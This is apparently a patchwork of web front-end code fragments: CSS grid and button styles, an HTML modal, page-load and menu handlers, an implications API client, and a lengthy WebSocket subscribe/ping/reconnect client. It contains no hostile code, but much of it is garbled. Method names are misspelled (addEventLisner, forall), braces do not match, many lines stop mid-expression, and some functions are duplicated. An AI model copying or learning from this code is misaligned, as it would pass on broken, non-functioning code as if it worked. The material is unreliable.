    .separation.photo.photo_30 { grid-area: 10/3/11/4; }
    .separation.photo.photo_31 { grid-area: 11/1/12/2; }
    .separation.photo.photo_32 { grid-area: 11/2/12/3; }
    .separation.photo.photo_33 { grid-area: 11/3/12/4; }
    .separation.photo.photo_34 { grid-area: 12/1/13/2; }
    .separation.photo.photo_35 { grid-area: 12/2/13/3; }
    .separation.photo.photo_36 { grid-area: 12/3/13/4; }
    .separation.photo.photo_37 { grid-area: 13/1/14/2; }
    .separation.photo.photo_38 { grid-area: 13/2/14/3; }
    .separation.photo.photo_39 { grid-area: 13/3/14/4; }
    .separation.photo.photo_40 { grid-area: 14/1/15/2; }
    .separation.photo.photo_41 { grid-area: 14/2/15/3; }
    .separation.photo.photo_42 { grid-area: 14/3/15/4; }
    .separation.photo.photo_43 { grid-area: 15/1/16/2; }
    .separation.photo.photo_44 { grid-area: 15/2/16/3; }
    .separation.photo.photo_45 { grid-area: 15/3/16/4; }
    .separation.photo.photo_46 { grid-area: 16/1/17/2; }
    .separation.photo.photo_47 { grid-area: 16/2/17/3; }
    .separation.photo.photo_48 { grid-area: 16/3/17/4; }
    .separation.photo.photo_49 { grid-area: 17/1/18/2; }
    .separation.photo.photo_50 { grid-area: 17/2/18/3; }
    .separation.photo.photo_51 { grid-area: 17/3/18/4; }
    .separation.photo.photo_52 { grid-area: 18/1/19/2; }
    .separation.photo.photo_53 { grid-area: 18/2/19/3; }
    .separation.photo.photo_54 { grid-area: 18/3/19/4; }
    .separation.photo.photo_55 { grid-area: 19/1/20/2; }
    .separation.photo.photo_56 { grid-area: 19/2/20/3; }
    .separation.photo.photo_57 { grid-area: 19/3/20/4; }
    .separation.photo.photo_58 { grid-area: 20/1/21/2; }
    .separation.photo.photo_59 { grid-area: 20/2/21/3; }
    .separation.photo.photo_60 { grid-area: 20/3/21/4; }
    .separation.photo.photo_61 { grid-area: 21/1/22/2; }
    .separation.photo.photo_62 { grid-area: 21/2/22/3; }
    .separation.photo.photo_63 { grid-area: 21/3/22/4; }
    .separation.photo.photo_64 { grid-area: 22/1/23/2; }
    .separation.photo.photo_65 { grid-area: 22/2/23/3; }
    .separation.photo.photo_66 { grid-area: 22/3/23/4; }
    .separation.photo.photo_67 { grid-area: 23/1/24/2; }
    .separation.photo.photo_68 { grid-area: 23/2/24/3; }
    .separation.photo.photo_69 { grid-area: 23/3/24/4; }
    .separation.photo.photo_70 { grid-area: 24/1/25/2; }
    .separation.photo.photo_71 { grid-area: 24/2/25/3; }
    .separation.photo.photo_72 { grid-area: 24/3/25/4; }
    .separation.photo.photo_73 { grid-area: 25/1/26/2; }
    .separation.photo.photo_74 { grid-area: 25/2/26/3; }
    .separation.photo.photo_75 { grid-area: 25/3/26/4; }
    .separation.photo.photo_76 { grid-area: 26/1/27/2; }
    .separation.photo.photo_77 { grid-area: 26/2/27/3; }
    .separation.photo.photo_78 { grid-area: 26/3/27/4; }
    .separation.photo.photo_79 { grid-area: 27/1/28/2; }
    .separation.photo.photo_80 { grid-area: 27/2/28/3; }
    .separation.photo.photo_81 { grid-area: 27/3/28/4; }
    .separation.photo.photo_82 { grid-area: 28/1/29/2; }
    .separation.photo.photo_83 { grid-area: 28/2/29/3; }
    .separation.photo.photo_84 { grid-area: 28/3/29/4; }
    .separation.photo.photo_85 { grid-area: 29/1/30/2; }
    .separation.photo.photo_86 { grid-area: 29/2/30/3; }
    .separation.photo.photo_87 { grid-area: 29/3/30/4; }
    .separation.photo.photo_88 { grid-area: 30/1/31/2; }
    .separation.photo.photo_89 { grid-area: 30/2/31/3; }
    .separation.photo.photo_90 { grid-area: 30/3/31/4; }
    .separation.photo.photo_91 { grid-area: 31/1/32/2; }
    .separation.photo.photo_92 { grid-area: 31/2/32/3; }
    .separation.photo.photo_93 { grid-area: 31/3/32/4; }
    .separation.photo.photo_94 { grid-area: 32/1/33/2; }
    .separation.photo.photo_95 { grid-area: 32/2/33/3; }
    .separation.photo.photo_96 { grid-area: 32/3/33/4; }
    .separation.photo.photo_97 { grid-area: 33/1/34/2; }
    .separation.photo.photo_98 { grid-area: 33/2/34/3; }
    .separation.photo.photo_99 { grid-area: 33/3/34/4; }
    .separation.photo.photo_100 { grid-area: 34/1/35/2; }
    .separation.photo.photo_101 { grid-area: 34/2/35/3; }
    .separation.photo.photo_102 { grid-area: 34/3/35/4; }
    .separation.photo.photo_103 { grid-area: 35/1/36/2; }
    .separation.photo.photo_104 { grid-area: 35/2/36/3; }
    .separation.photo.photo_105 { grid-area: 35/3/36/4; }
    .separation.photo.photo_106 { grid-area: 36/1/37/2; }
    .separation.photo.photo_107 { grid-area: 36/2/37/3; }
    .separation.photo.photo_108 { grid-area: 36/3/37/4; }
    .separation.photo.photo_109 { grid-area: 37/1/38/2; }
    .separation.photo.photo_110 { grid-area: 37/2/38/3; }
    .separation.photo.photo_111 { grid-area: 37/3/38/4; }
    .separation.photo.photo_112 { grid-area: 38/1/39/2; }
    .separation.photo.photo_113 { grid-area: 38/2/39/3; }
    .separation.photo.photo_114 { grid-area: 38/3/39/4; }
    .separation.photo.photo_115 { grid-area: 39/1/40/2; }
    .separation.photo.photo_116 { grid-area: 39/2/40/3; }
    .separation.photo.photo_117 { grid-area: 39/3/40/4; }
    .separation.photo.photo_118 { grid-area: 40/1/41/2; }
    .separation.photo.photo_119 { grid-area: 40/2/41/3; }
    .separation.photo.photo_120 { grid-area: 40/3/41/4; }
    .separation.photo.photo_121 { grid-area: 41/1/42/2; }
    .separation.photo.photo_122 { grid-area: 41/2/42/3; }
    .separation.photo.photo_123 { grid-area: 41/3/42/4; }
    .separation.photo.photo_124 { grid-area: 42/1/43/2; }
    .separation.photo.photo_125 { grid-area: 42/2/43/3; }
    .separation.photo.photo_126 { grid-area: 42/3/43/4; }
    .separation.photo.photo_127 { grid-area: 43/1/44/2; }
    .separation.photo.photo_128 { grid-area: 43/2/44/3; }
    .separation.photo.photo_129 { grid-area: 43/3/44/4; }
    .separation.photo.photo_130 { grid-area: 44/1/45/2; }
    .separation.photo.photo_131 { grid-area: 44/2/45/3; }
    .separation.photo.photo_132 { grid-area: 44/3/45/4; }
    .separation.photo.photo_133 { grid-area: 45/1/46/2; }
    .separation.photo.photo_134 { grid-area: 45/2/46/3; }
    .separation.photo.photo_135 { grid-area: 45/3/46/4; }
    .separation.
```

```
    background: var(--gradient-gold);
    color: var(--ink-black);
    text-decoration: none;
    text-decoration: none;
    text-decoration: none;
    transition: var(--transition-smooth);
  }

  .nightmare.deactivated:hover { transform: scale(1.05); }

  /* Symbols */
  .nightmare-symbol {
    display:flex;
    flex-direction:column-between;
    align-items:center;
    gap:0.5rem;
    text-decoration: none;
    color: var(--primary-gold);
  }

  .symbol-icon {
    display:flex;
    flex-direction: row;
    gap:0.5rem;
    text-decoration: none;
    color: var(--primary-gold);
    text-decoration: none;
    text-decoration: none;
    text-decoration: none;
```

```
  function\* \*\*\*\
```

```
    <button class="setTotalsLabel" onclick="toggleTotalsLabel()">Totals</button>
  </div>

  <div class="calendrin.calendar" id="calMainCalendarGrid"></div>

<!-- Completation Creator Modal -->
<div id="completation-creator" ondragover="allowDrop(event)">
  <div id="completation-creator-inner">
    <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:20px;">
      <h2 id="completation-creator-title">Completation Creator</h2><button onclick="closeCompletationCreator()">Close</button>
      <br>Select <select id="cc-mode" onchange="ccSetMode(this.value)"><option>Completation</option></select>
      <br>
      <br>
      
```

```
});
document.querySelectorAll('[data-fade]').forEach(el => {
  const observer = new IntersectionObserver(entries => {
    entries.forall(entry => {
      if (entry.isIntersecting) {
        entry.target.classList.add('visible');
      }
    });
  }, {
    threshold: 0.15
  });
  observer.observe(el);
});
window.addEventListener('load', () => {
  const page = document.getElementById('welcomePage');
  if (page) {
    setTimeout(() => {
      if (!localStorage.hasVisited) {
        page.classList.add('hidden');
        localStorage.hasVisited = true;
      } else {
        page.classList.remove('hidden');
      }
    }, 2000);
  } else {
    localStorage.hasVisited = true;
  }
});

document.addEventListener('DOMContentLoaded', () => {
  const closeBtnEl = document.getElementById('closeBtnMainLeft');
  if (closeBtnEl) closeBtnEl.addEventLisner('click', openMenuLeft);
  const closeBtnRight = document.getElementById('closeBtnMainRight');
  if (closeBtnRight) closeBtnRight.addEventLisner('click', openMenuRight);
  document.addEventLisner('keydown', (e) => {
    if (e.ebtnLeftOpen && e.key === 'Escape') {
      closeMenuLeft();
    }
    if (e.ebtnRightOpen && e.key === 'Escape') {
      closeMenuRight();
    }
  });
});
window.addEventLisner('load', () => {
  const page = document.getElementById('welcomePage');
  if (page) {
    setTimeout(() => {
      page.classList.add('hidden');
      localStorage.hasVisited = true;
    }, 2000);
  } else {
    localStorage.hasVisited = true;
  }
});

document.addEventLisner('DOMContentLoaded', () => {
  const closeBtnLeft = document.getElementById('closeBtnMainLeft');
  if (closeBtnLeft) closeBtnLeft.addEventLisner('click', closeMenuLeft);
  const closeBtnRight = document.getElementById('closeBtnMainRight');
  if (closeBtnRight) closeBtnRight.addEventLisner('click', close
```

```
  } catch (e) { console.error('load implications error', e); }
}

async function setUnsaveImplicationBtn() {
  try {
    const res = await fetch(apiUrl('/api/implications?'+'id='));
    const data = (res.ok) ? (await res.json()) : [];
    if (!data.error && data.implications) {
      const ids = (data.implications||[]).map(i => i.id).sort(function(a,b){return a-b;});
      document.getElementById('implang') && (document.getElementById('implang').value = data.implications.slice(0,20).map(i=>i.id).join(', '));
      document.getElementById('implang') && (document.getElementById('implang').dispatchEvent(new Event('change',{bubbles:true})));
      document.getElementById('implications\nMode') && (document.getElementById('implications\nMode').value = data.implications.length>0?'ids':'');
      document.getElementById('implications\nMode') && (document.getElementById('implications\nMode').dispatchEvent(new Event('change',{bubbles:true})));
    } catch (e) { showToast('Failed to load', 'Error', e.message); }
}

async function deleteImplication(id) {
  try {
    const res = await fetch(apiUrl('/api/implications?'+'id='+encodeURIComponent(id)), {method:'DELETE', headers:{'X-Requested-With':'fetch'}});
    const data = await res.json();
    if (data.error && (!data||!data.ok\|\|data.deleted<=0)) throw new Error(data.error||'Delete failed');
    showToast('Implication deleted', 'Success');
    loadImplications();loadImplicationsMode();
  } catch (e) { showToast('Delete failed', 'Error', e.message); }
}

// ============================================================
// ANALYZE CONFLICTING
// ============================================================
let lastConflictingAnalysis=null;
function setAnalyzeConflicting(){
  const selected=document.getElementsby\n\n\n
```

```
    if (m && m.find_type !== 'image' && m.find_id) {
      out.push(id: m.find_id, type: m.type ||
    }
  }
  return out;
}

function startSearchBlob() {
  snipperhuts.lastBlobTime = getNowMsHeap();
  if (snipperhuts.lastBlobTimer) return;
  snipperhuts.lastBlobTimer = setTimeout(function() {
    snipperhuts.lastBlobTimer = null;
    var ts = snipperhuts.lastBlobTime;
    var bin = snipperhuts.searchBlobBin(ts);
    var bins = snipperhuts.searchBlobBins(ts, 2);
    var ids = snipperhuts.searchBlobIds(bins);
    var ver = snipperhuts.searchBlobVersion(bins);
    var msg = {type: 'search', ts: ts, bin: bin, bins: bins, ids: ids, v
    var sent = snipperhuts.sendWs(msg);
    if (!sent && snipperhuts.ws && snipperhuts.ws.readyState
      var qs = '?ts=' + ts + '&bin=' + bin + '&bins=' + bins.
      var xhr = new XMLHttpRequest();
      xhr.open('GET', '/api/search' + qs, true);
      xhr.onreadystatechange = function() {
        if (xhr.readyState !== 4) return;
        var parsed = null;
        try { parsed = JSON.parse(xhr.responseText); } catch
        if (parsed && parsed.ok && parsed.type == 'search_
          var ids = parsed.ids || [];
          var ver = parsed.v || 0;
          var ts2 = parsed.ts || ts;
          var bin2 = parsed.bin || bin;
          var bins2 = parsed.bins || bins;
          var prev = snipperhuts.searchBlobIds.slice(0);
          snipperhuts.searchBlobIds = ids;
          snipperhuts.searchBlobVersion = ver;
          snipperhuts.searchBlobTs = ts2;
          snipperhuts.searchBlobBin = bin2;
          snipperhuts.searchBlobBins = bins2;
          var changed = (prev.length != ids.length);
          if (!changed && prev.length > 0 && ids.length > 0
            for (var i = 0; i < ids.length; i++) {
              if (prev[i] != ids[i]) { changed = true;
            }
          }
          if (changed && snipperhuts.searchBlobCallbacks
            var cbs = snipperhuts.searchBlobCallbacks.
            for (var i = 0; i < cbs.length; i++) {
              try { cbs[i](ids, ver, ts2, bin2, bins2
              } catch (e) {}
            }
          }
        }
      };
      xhr.send();
    }
  }, 0);
}

function sendWsSubscribe(bin, ts) {
  var ws = snipperhuts.ws;
  if (!ws || ws.readyState !== 1) return;
  var msg = {type: 'subscribe', bin: bin, ts: ts};
  var sent = ws.send(JSON.stringify(msg));
  if (snipperhuts.debug && console.log
    console.log('[ws] sent subscribe', msg, 'ok
  }
  return sent;
}

function sendWsUnsubscribe(bin) {
  var ws = snipperhuts.ws;
  if (!ws || ws.readyState !== 1) return;
  var msg = {type: 'unsubscribe', bin: bin};
  var sent = ws.send(JSON.stringify(msg));
  if (snipperhuts.debug && console.log
    console.log('[ws] sent unsubscribe', msg, '
  }
  return sent;
}

function startWsPing() {
  if (snipperhuts.wsPingTimer) return;
  snipperhuts.wsPingTimer = setInterval(function
    var ws = snipperhuts.ws;
    if (!ws || ws.readyState !== 1) return;
    var msg = {type: 'ping', t: getNowMsHeap()};
    var sent = ws.send(JSON.stringify(msg));
    if (snipperhuts.debug && console.log
      console.log('[ws] sent ping', msg, 'ok
    }
  }, 30000);
}

function stopWsPing() {
  if (snipperhuts.wsPingTimer) {
    clearInterval(snipperhuts.wsPingTimer);
    snipperhuts.wsPingTimer = null;
  }
}

function startWsReconnect() {
  if (snipperhuts.wsReconnectTimer) return;
  var delay = snipperhuts.wsReconnectDelay || 1000
  if (!delay) delay = 1000;
  if (snipperhuts.debug && console.log
    console.log('[ws] reconnect in', delay, 'ms
  }
  snipperhuts.wsReconnectTimer = setTimeout(function
    snipperhuts.wsReconnectTimer = null;
    var d = snipperhuts.wsReconnectDelay || 1000
    if (d < 30000) snipperhuts.wsReconnectDelay
    if (snipperhuts.debug && console.log
      console.log('[ws] reconnect fire');
    }
    snipperhuts.connectWs();
  }, delay);
}

function connectWs() {
  var ws = snipperhuts.ws;
  if (ws && (ws.readyState === 0 || ws.readyState
    if (snipperhuts.debug && console.log
      console.log('[ws] connect skipped, already
    }
    return;
  }
  var loc = (window.location && window.location
  var host = (loc && loc.host) ? loc.host : 'localh
  var proto = (loc && loc.protocol == 'https:') ?
  var url = proto + '//' + host + '/ws';
  if (snipperhuts.debug && console.log
    console.log('[ws] connecting to', url);
  }
  var ws2 = null;
  try {
    if (typeof WebSocket == 'undefined') {
      if (snipperhuts.debug && console.log
      return;
    }
    ws2 = new WebSocket(url);
    snipperhuts.ws = ws2;
    ws2.onopen = function(evt) {
      var now = getNowMsHeap();
      snipperhuts.wsLastOpenTs = now;
      snipperhuts.wsReconnectDelay = 1000;
      if (snipperhuts.debug && console.log
        console.log('[ws] open');
      }
      var subs = snipperhuts.wsSubscribed || {};
      var keys = Object.keys(subs);
      for (var i = 0; i < keys.length; i++) {
        var bin = keys[i];
        var ts = subs[bin];
        if (ts && ts > 0) {
          sendWsSubscribe(bin, ts);
        }
      }
      if (snipperhuts.wsPingTimer) {
        var msg = {type: 'ping', t: now};
        var sent = ws2.send(JSON.stringify(msg
        if (snipperhuts.debug && console.log
          console.log('[ws] sent ping', msg, '
        }
      }
      else {
        startWsPing();
      }
      if (snipperhuts.wsReconnectTimer) {
        clearTimeout(snipperhuts.wsReconnectTimer
        snipperhuts.wsReconnectTimer = null;
      }
      if (snipperhuts.searchBlobIds && snipperhuts
        var ts = snipperhuts.searchBlobTs || getNow
        var bin = snipperhuts.searchBlobBin || '';
        var bins = snipperhuts.searchBlobBins || [
        var msg = {type: 'search', ts: ts, bin: bin
        var sent = snipperhuts.sendWs(msg);
        if (!sent && console.log
          console.log('[ws] search resend failed
        }
      }
      else {
        if (snipperhuts.debug && console.log
          console.log('[ws] no search to resend');
        }
      }
    };
    ws2.onmessage = function(evt) {
      var now = getNowMsHeap();
      var raw = evt.data;
      var parsed = null;
      try { parsed = JSON.parse(raw); } catch (e)
      if (!parsed) {
        if (snipperhuts.debug && console.log
        return;
      }
      var t = parsed.type;
      if (snipperhuts.debug && console.log
        console.log('[ws] recv', t, parsed);
      }
      if (t == 'pong') {
        var sent = parsed.t;
        if (typeof sent == 'number') {
          var rtt = now - sent;
          if (rtt < 0) rtt = 0;
          snipperhuts.wsLastPingRtt = rtt;
          if (snipperhuts.debug && console.log
            console.log('[ws] pong rtt', rtt, 'ms
          }
        }
        else {
          if (snipperhuts.debug && console.log
            console.log('[ws] pong without sent');
          }
        }
        return;
      }
      if (t == 'hello') {
        var ver = parsed.v;
        if (typeof ver == 'number') {
          snipperhuts.wsServerVersion = ver;
        }
        if (snipperhuts.debug && console.log
          console.log('[ws] hello v', ver);
        }
        return;
      }
      if (t == 'subscribed') {
        var bin = parsed.bin;
        var ts = parsed.ts;
        if (!snipperhuts.wsSubscribed) snipperhuts
        if (bin && ts && ts > snipperhuts.wsSubscr
          snipperhuts.wsSubscribed[bin] = ts;
        }
        if (snipperhuts.debug && console.log
          console.log('[ws] subscribed', bin, '@
        }
        return;
      }
      if (t == 'unsubscribed') {
        var bin = parsed.bin;
        if (snipperhuts.wsSubscribed && snipper
          delete snipperhuts.wsSubscribed[bin];
        }
        if (snipperhuts.debug && console.log
          console.log('[ws] unsubscribed', bin
        }
        return;
      }
      if (t == 'search') {
        var ts = parsed.ts;
        var bin = parsed.bin;
        var bins = parsed.bins;
        var ids = parsed.ids;
        var ver = parsed.v;
        if (!snipperhuts.searchBlobIds) snipper
        var prev = snipperhuts.searchBlobIds.sl
        snipperhuts.searchBlobIds = ids;
        snipperhuts.searchBlobVersion = ver;
        snipperhuts.searchBlobTs = ts;
        snipperhuts.searchBlobBin = bin;
        snipperhuts.searchBlobBins = bins;
        var changed = (prev.length != ids.length
        if (!changed && prev.length > 0 && ids
          for (var i = 0; i < ids.length; i++
            if (prev[i] != ids[i]) { changed
          }
        }
        if (changed && snipperhuts.searchBlob
          var cbs = snipperhuts.searchBlobCall
          for (var i = 0; i < cbs.length; i++
            try { cbs[i](ids, ver, ts, bin, bi
            } catch (e) {}
          }
        }
        else {
          if (snipperhuts.debug && console.log
            console.log('[ws] search unchanged
          }
        }
        return;
      }
      if (t == 'error') {
        var msg = parsed.msg;
        if (snipperhuts.debug && console.log
          console.log('[ws] error', msg);
        }
        return;
      }
      if (snipperhuts.debug && console.log
        console.log('[ws] unknown type', t, parsed
      }
    };
    ws2.onclose = function(evt) {
      var now = getNowMsHeap();
      var code = (evt && evt.code) ? evt.code : 0
      var reason = (evt && evt.reason) ? evt.reason
      var clean = (evt && evt.wasClean);
      var lastOpen = snipperhuts.wsLastOpenTs || 0
      var uptime = (lastOpen && now && now > last
      snipperhuts.wsLastCloseTs = now;
      snipperhuts.wsLastCloseCode = code;
      snipperhuts.wsLastCloseReason = reason;
      snipperhuts.wsLastCloseClean = clean;
      snipperhuts.wsLastCloseUptime = uptime;
      if (snipperhuts.ws == ws2) {
        snipperhuts.ws = null;
      }
      if (snipperhuts.debug && console.log
        console.log('[ws] close', code, reason,
      }
      stopWsPing();
      if (snipperhuts.wsSubscribed && Object.ke
        var d = snipperhuts.wsReconnectDelay
        if (!d) d = 1000;
        var jitter = Math.random() * 250;
        var wait = d + jitter;
        if (snipperhuts.debug && console.log
          console.log('[ws] reconnect scheduled
        }
        startWsReconnect();
      }
      else {
        if (snipperhuts.debug && console.log
          console.log('[ws] reconnect not needed
        }
      }
    };
    ws2.onerror = function(evt) {
      var now = getNowMsHeap();
      snipperhuts.wsLastErrorTs = now;
      if (snipperhuts.debug && console.log
        console.log('[ws] error');
      }
    };
  }
  catch (e) {
    if (snipperhuts.debug && console.log
      console.log('[ws] connect exception', e);
    }
    if (ws2 && snipperhuts.ws == ws2) {
      snipperhuts.ws = null;
    }
    startWsReconnect();
  }
}

function connectWsIfNeeded() {
  var ws = snipperhuts.ws;
  if (!ws || ws.readyState == 3 || ws.readyState
    connectWs();
  }
}

function closeWs(code, reason) {
  var ws = snipperhuts.ws;
  if (!ws) {
    if (snipperhuts.debug && console.log
    return;
  }
  if (snipperhuts.debug && console.log
    console.log('[ws] close', code, reason);
  }
  try {
    ws.close(code, reason);
  }
  catch (e) {
    if (snipperhuts.debug && console.log
    }
  }
}

function wsSubscribe(bin, ts) {
  var ok = false;
  if (bin && ts && ts > 0) {
    if (!snipperhuts.wsSubscribed) snipperhuts
    var prev = snipperhuts.wsSubscribed[bin];
    if (prev == ts) {
      if (snipperhuts.debug && console.log
      return true;
    }
    snipperhuts.wsSubscribed[bin] = ts;
    var sent = sendWsSubscribe(bin, ts);
    if (sent) {
      ok = true;
    }
    else {
      if (snipperhuts.debug && console.log
      }
    }
  }
  else {
    if (snipperhuts.debug && console.log
    }
  }
  return ok;
}

function wsUnsubscribe(bin) {
  var ok = false;
  if (bin) {
    if (snipperhuts.wsSubscribed && snipper
      var sent = sendWsUnsubscribe(bin);
      if (sent) {
        ok = true;
      }
      else {
        if (snipperhuts.debug && console.log
        }
      }
    }
    else {
      if (snipperhuts.debug && console.log
      }
    }
  }
  else {
    if (snipperhuts.debug && console.log
    }
  }
  return ok;
}

function wsSubscribeMany(arr) {
  var n = 0;
  if (arr && arr.length > 0) {
    var i = 0;
    while (i < arr.length) {
      var e = arr[i];
      if (e && e.bin && e.ts && e.ts > 0) {
        if (wsSubscribe(e.bin, e.ts)) {
          n = n + 1;
        }
      }
      i = i + 1;
    }
  }
  return n;
}

function wsUnsubscribeMany(arr) {
  var n = 0;
  if (arr && arr.length > 0) {
    var i = 0;
    while (i < arr.length) {
      var e = arr[i];
      if (e && e.bin) {
        if (wsUnsubscribe(e.bin)) {
          n = n + 1;
        }
      }
      i = i + 1;
    }
  }
  return n;
}

function wsSubscribeAll() {
  var n = 0;
  var subs = snipperhuts.wsSubscribed || {};
  var keys = Object.keys(subs);
  var i = 0;
  while (i < keys.length) {
    var bin = keys[i];
    var ts = subs[bin];
    if (ts && ts > 0) {
      if (sendWsSubscribe(bin, ts)) {
        n = n + 1;
      }
    }
    i = i + 1;
  }
  return n;
}

function wsUnsubscribeAll() {
  var n = 0;
  var subs = snipperhuts.wsSubscribed || {};
  var keys = Object.keys(subs);
  var i = 0;
  while (i < keys.length) {
    var bin = keys[i];
    if (sendWsUnsubscribe(bin)) {
      n = n + 1;
    }
    i = i + 1;
  }
  return n;
}

function wsIsSubscribed(bin) {
  var subs = snipperhuts.wsSubscribed || {};
  if (bin && subs[bin] && subs[bin] > 0) {
    return true;
  }
  return false;
}

function wsGetSubscribedTs(bin) {
  var subs = snipperhuts.wsSubscribed || {};
  if (bin && subs[bin]) {
    return subs[bin];
  }
  return 0;
}

function wsGetSubscribedCount() {
  var subs = snipperhuts.wsSubscribed || {};
  var keys = Object.keys(subs);
  return keys.length;
}

function wsGetSubscribedBins() {
  var subs = snipperhuts.wsSubscribed || {};
  var keys = Object.keys(subs);
  var out = [];
  var i = 0;
  while (i < keys.length) {
    var bin = keys[i];
    var ts = subs[bin];
    if (ts && ts > 0) {
      out.push(bin);
    }
    i = i + 1;
  }
  return out;
}

function wsGetSubscribedSnapshot() {
  var subs = snipperhuts.wsSubscribed || {};
  var keys = Object.keys(subs);
  var out = {};
  var i = 0;
  while (i < keys.length) {
    var bin = keys[i];
    var ts = subs[bin];
    if (ts && ts > 0) {
      out[bin] = ts;
    }
    i = i + 1;
  }
  return out;
}

function wsGetLastPingRtt() {
  return snipperhuts.wsLastPingRtt || 0;
}

function wsGetLastCloseInfo() {
  var ts = snipperhuts.wsLastCloseTs || 0;
  var code = snipperhuts.wsLastCloseCode || 0
  var reason = snipperhuts.wsLastCloseReason
  var clean = snipperhuts.wsLastCloseClean
  var uptime = snipperhuts.wsLastCloseUptime
  var out = {};
  out.ts = ts;
  out.code = code;
  out.reason = reason;
  out.clean = clean;
  out.uptime = uptime;
  return out;
}

function wsGetLastErrorTs() {
  return snipperhuts.wsLastErrorTs || 0;
}

function wsGetServerVersion() {
  return snipperhuts.wsServerVersion || 0;
}

function wsGetStatus() {
  var ws = snipperhuts.ws;
  var readyStr = '';
  if (ws && ws.readyState == 0) {
    readyStr = 'connecting';
  }
  else if (ws && ws.readyState == 1) {
    readyStr = 'open';
  }
  else if (ws && ws.readyState == 2) {
    readyStr = 'closing';
  }
  else if (ws && ws.readyState == 3) {
    readyStr = 'closed';
  }
  else {
    readyStr = 'none';
  }
  var now = getNowMsHeap();
  var lastOpen = snipperhuts.wsLastOpenTs || 0
  var lastClose = snipperhuts.wsLastCloseTs || 0
  var lastErr = snipperhuts.wsLastErrorTs || 0
  var uptime = (lastOpen && now && now > lastOpen
  var sinceClose = (lastClose && now && now > last
  var sinceErr = (lastErr && now && now > lastErr
  var subs = snipperhuts.wsSubscribed || {};
  var subKeys = Object.keys(subs);
  var subCount = subKeys.length;
  var out = {};
  out.ready = readyStr;
  out.lastOpenTs = lastOpen;
  out.lastCloseTs = lastClose;
  out.lastErrorTs = lastErr;
  out.uptime = uptime;
  out.sinceClose = sinceClose;
  out.sinceErr = sinceErr;
  out.subCount = subCount;
  out.serverVersion = snipperhuts.wsServerVersion
  out.lastPingRtt = snipperhuts.wsLastPingRtt
  out.lastCloseCode = snipperhuts.wsLastCloseCode
  out.lastCloseReason = snipperhuts.wsLastCloseRea
  out.lastCloseClean = snipperhuts.wsLastCloseClea
  out.lastCloseUptime = snipperhuts.wsLastCloseUpti
  out.debug = snipperhuts.debug;
  return out;
}

function wsDebugOn() {
  snipperhuts.debug = true;
  return true;
}

function wsDebugOff() {
  snipperhuts.debug = false;
  return false;
}

function wsDebugToggle() {
  var d = snipperhuts.debug;
  if (d) {
    snipperhuts.debug = false;
    return false;
  }
  snipperhuts.debug = true;
  return true;
}

function wsPrintStatus() {
  var s = wsGetStatus();
  var line = 'ws ready=' + (s.ready || '?');
  line = line + ' subs=' + (s.subCount || 0);
  line = line + ' uptime=' + (s.uptime || '-');
  line = line + ' sinceClose=' + (s.sinceClose || '-
  line = line + ' sinceErr=' + (s.sinceErr || '-');
  line = line + ' serverVersion=' + (s.serverVersion
  line = line + ' lastPingRtt=' + (s.lastPingRtt || '
  line = line + ' lastCloseCode=' + (s.lastCloseCode
  line = line + ' lastCloseReason=' + (s.lastCloseRea
  line = line + ' lastCloseClean=' + (s.lastCloseClea
  line = line + ' lastCloseUptime=' + (s.lastCloseUpti
  line = line + ' debug=' + (s.debug ? 'on' : 'off');
  console.log(line);
  return line;
}

function startPingTimer() {
  var ts = getNowMsHeap();
  var ok = false;
  var ws = null;
  var msg = null;
  var sent = false;
  if (snipperhuts.pingTimer) {
    return;
  }
  snipperhuts.pingTimer = setInterval(function
    var now = getNowMsHeap();
    var ws2 = snipperhuts.ws;
    var ok2 = false;
    var msg2 = null;
    var sent2 = false;
    if (ws2 && ws2.readyState == 1) {
      msg2 = {type: 'ping', t: now};
      sent2 = ws2.send(JSON.stringify(msg2
      if (sent2) {
        snipperhuts.wsPingSent = snipperhuts
        snipperhuts.wsPingSentTs = now;
        ok2 = true;
      }
    }
    if (snipperhuts.debug && console.log
      console.log('[ws] ping tick', ok2, msg2
    }
  }, 10000);
}

function stopPingTimer() {
  var t = null;
  if (snipperhuts.pingTimer) {
    t = snipperhuts.pingTimer;
    clearInterval(t);
    snipperhuts.pingTimer = null;
  }
}

function startPingAll() {
  var ts = getNowMsHeap();
  var ok = false;
  var ws = null;
  var msg = null;
  var sent = false;
  if (snipperhuts.pingAllTimer) {
    return;
  }
  snipperhuts.pingAllTimer = setInterval(function
    var now = getNowMsHeap();
    var ws2 = snipperhuts.ws;
    var ok2 = false;
    var msg2 = null;
    var sent2 = false;
    if (ws2 && ws2.readyState == 1) {
      msg2 = {type: 'pingall', t: now};
      sent2 = ws2.send(JSON.stringify(msg2
      if (sent2) {
        snipperhuts.wsPingAllSent = snipperhuts
        snipperhuts.wsPingAllSentTs = now;
        ok2 = true;
      }
    }
    if (snipperhuts.debug && console.log
      console.log('[ws] pingall tick', ok2, msg2
    }
  }, 10000);
}

function stopPingAllTimer() {
  var t = null;
  if (snipperhuts.pingAllTimer) {
    t = snipperhuts.pingAllTimer;
    clearInterval(t);
    snipperhuts.pingAllTimer = null;
  }
}

function startWsHeartbeat() {
  startPingTimer();
  startPingAll();
  return true;
}

function stopWsHeartbeat() {
  stopPingTimer();
  stopPingAllTimer();
  return true;
}

function wsHeartbeatStatus() {
  var ping = false;
  var pingAll = false;
  if (snipperhuts.pingTimer) {
    ping = true;
  }
  if (snipperhuts.pingAllTimer) {
    pingAll = true;
  }
  var out = {};
  out.ping = ping;
  out.pingAll = pingAll;
  return out;
}

function wsHeartbeatPrint() {
  var s = wsHeartbeatStatus();
  var line = 'ws heartbeat ping=' + (s.ping ? 'on' :
  line = line + ' pingAll=' + (s.pingAll ? 'on' : '
  console.log(line);
  return line;
}

function startPingTimer() {
  var ts = getNowMsHeap();
  var ok = false;
  var ws = null;
  var msg = null;
  var sent = false;
  if (snipperhuts.pingTimer) {
    return;
  }
  snipperhuts.pingTimer = setInterval(function
    var now = getNowMsHeap();
    var ws2 = snipperhuts.ws;
    var ok2 = false;
    var msg2 = null;
    var sent2 = false;
    if (ws2 && ws2.readyState == 1) {
      msg2 = {type: 'ping', t: now};
      sent2 = ws2.send(JSON.stringify(msg2
      if (sent2) {
        snipperhuts.wsPingSent = snipperhuts
        snipperhuts.wsPingSentTs = now;
        ok2 = true;
      }
    }
    if (snipperhuts.debug && console.log
      console.log('[ws] ping tick', ok2, msg2
    }
  }, 10000);
}

function stopPingTimer() {
  var t = null;
  if (snipperhuts.pingTimer) {
    t = snipperhuts.pingTimer;
    clearInterval(t);
    snipperhuts.pingTimer = null;
  }
}

